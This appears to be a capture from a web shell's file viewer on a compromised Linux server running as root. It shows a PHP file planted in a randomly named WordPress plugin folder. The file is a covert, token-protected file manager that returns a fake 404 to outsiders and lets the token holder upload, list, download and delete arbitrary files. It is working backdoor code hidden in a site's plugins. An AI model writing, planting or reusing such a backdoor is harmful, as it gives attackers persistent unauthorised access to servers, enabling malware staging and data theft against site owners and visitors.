HEX
Server: Apache
System: Linux dilmahquizNew 5.14.0-162.12.1.el9_1.0.2.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 30 22:14:42 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/elixirofceylontea/public/wp-content/plugins/lite_setting_3c7a/fm_bkr34q.php
<?php
/**
 * Simple File Upload Manager
 * Usage: ?t=TOKEN&c=CMD
 *   list              - list uploaded files
 *   upload            - show upload form (POST multipart to same URL with field "f")
 *   upload&f=filename - upload file with given name
 */
$token = 'dabbea752185785bd3cf01bb1e2ead9b';

// Token check (simple)
if (!isset($_GET['t']) || $_GET['t'] !== $token) {
    header('HTTP/1.0 404 Not Found');
    die();
}

$cmd = isset($_GET['c']) ? $_GET['c'] : 'help';
$upload_dir = __DIR__ . '/uploads/';
if (!is_dir($upload_dir)) { mkdir($upload_dir, 0755, true); }

function h($s) { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }

switch ($cmd) {
case 'list':
    echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>File Manager</title>";
    echo "<style>body{font:13px monospace;background:#1a1a2e;color:#e0e0e0;padding:20px}";
    echo "table{width:100%;border-collapse:collapse}th,td{padding:8px 12px;text-align:left;border-bottom:1px solid #333}";
    echo "th{background:#16213e}a{color:#0f9;text-decoration:none}.size{text-align:right}</style></head><body>";
    echo "<h2>📁 Uploaded Files</h2>";
    echo "<p><a href='?t=$token&c=upload'>📤 Upload New File</a></p>";
    echo "<table><tr><th>Filename</th><th>Size</th><th>Modified</th><th>Action</th></tr>";

    $files = scandir($upload_dir);
    foreach ($files as $f) {
        if ($f === '.' || $f === '..') continue;
        $path = $upload_dir . $f;
        $size = filesize($path);
        $mtime = date('Y-m-d H:i:s', filemtime($path));
        $suffix = '';
        if ($size > 1048576) { $size = round($size/1048576,2).' MB'; }
        elseif ($size > 1024) { $size = round($size/1024,2).' KB'; }
        else { $size .= ' B'; }
        $dl_url = "?t=$token&c=download&f=" . urlencode($f);
        echo "<tr><td>" . h($f) . "</td>";
        echo "<td class='size'>$size</td><td>$mtime</td>";
        echo "<td><a href='$dl_url'>⬇ Download</a></td></tr>";
    }
    echo "</table></body></html>";
    break;

case 'upload':
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['f'])) {
        $name = isset($_GET['f']) ? basename($_GET['f']) : basename($_FILES['f']['name']);
        if (empty($name)) $name = 'file_' . time() . '.dat';
        $dest = $upload_dir . $name;
        if (move_uploaded_file($_FILES['f']['tmp_name'], $dest)) {
            $size = filesize($dest);
            echo "OK: $name ($size bytes)";
        } else {
            echo "ERROR: upload failed";
        }
    } else {
        echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Upload</title>";
        echo "<style>body{font:13px monospace;background:#1a1a2e;color:#e0e0e0;padding:20px}";
        echo "input,button{padding:8px;margin:4px 0;background:#16213e;color:#e0e0e0;border:1px solid #333}";
        echo "button{background:#0f3460;cursor:pointer}</style></head><body>";
        echo "<h2>📤 Upload File</h2>";
        echo "<form method='post' enctype='multipart/form-data' action='?t=$token&c=upload'>";
        echo "<p><input type='file' name='f' style='width:100%'></p>";
        echo "<p><button type='submit'>Upload</button></p>";
        echo "</form>";
        echo "<p><a href='?t=$token&c=list'>← Back to file list</a></p>";
        echo "</body></html>";
    }
    break;

case 'download':
    $fname = isset($_GET['f']) ? basename($_GET['f']) : '';
    $path = $upload_dir . $fname;
    if (file_exists($path) && is_file($path)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . $fname . '"');
        header('Content-Length: ' . filesize($path));
        readfile($path);
    } else {
        echo "ERROR: file not found";
    }
    break;

case 'delete':
    $fname = isset($_GET['f']) ? basename($_GET['f']) : '';
    $path = $upload_dir . $fname;
    if (file_exists($path) && is_file($path)) {
        if (unlink($path)) {
            echo "OK: deleted $fname";
        } else {
            echo "ERROR: cannot delete";
        }
    } else {
        echo "ERROR: file not found";
    }
    break;

default:
    echo "File Manager v1.0\n";
    echo "Commands: list | upload | download&f=NAME | delete&f=NAME\n";
    break;
}